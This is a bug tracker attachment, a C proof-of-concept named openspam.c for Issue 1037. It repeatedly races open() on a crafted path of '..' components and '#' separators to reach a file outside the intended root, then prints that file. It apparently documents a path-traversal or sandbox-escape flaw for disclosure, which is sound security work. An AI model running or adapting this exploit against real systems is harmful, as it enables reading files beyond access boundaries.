New issue
Advanced search Search tips

Issue 1037 attachment: openspam.c (1.1 KB)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <err.h>
#include <stdlib.h>

int main(void) {
puts("entering directory...");
system("rm -rf 0_");
system("touch 0_#1#2#3#4#5#6#7#8#9#..#..#..#..#..#..#..#..#..#..#real_root_marker");
system("mkdir -p 0/1/2/3/4/5/6/7/8/9/x");
if (chdir("0/1/2/3/4/5/6/7/8/9"))
err(1, "chdir");

// prepare `path`
char path[4096];
int pos = 0;
for (int i=0; i<30; i++) {
strcpy(path+pos, "x#..#"); pos += 5;
}
strcpy(path+pos, "..#..#..#..#..#..#..#..#..#real_root_marker");
char touch_cmd[5000];
int dummy_fd = open(path, O_RDWR|O_CREAT, 0644);
if (dummy_fd == -1)
err(1, "unable to touch dummy file");
close(dummy_fd);

puts("entered directory and prepared folders, racing...");
int fd;
while (1) {
fd = open(path, O_RDONLY);
if (fd == -1 && errno != ENOENT)
perror("open");
if (fd != -1) break;
}
puts("SUCCESS");
while (1) {
char c;
int res = read(fd, &c, 1);
if (res == -1)
err(1, "read");
if (res == 0) {
puts("EOF");
return 0;
}
if (write(1, &c, 1) != 1)
err(1, "write");
}
}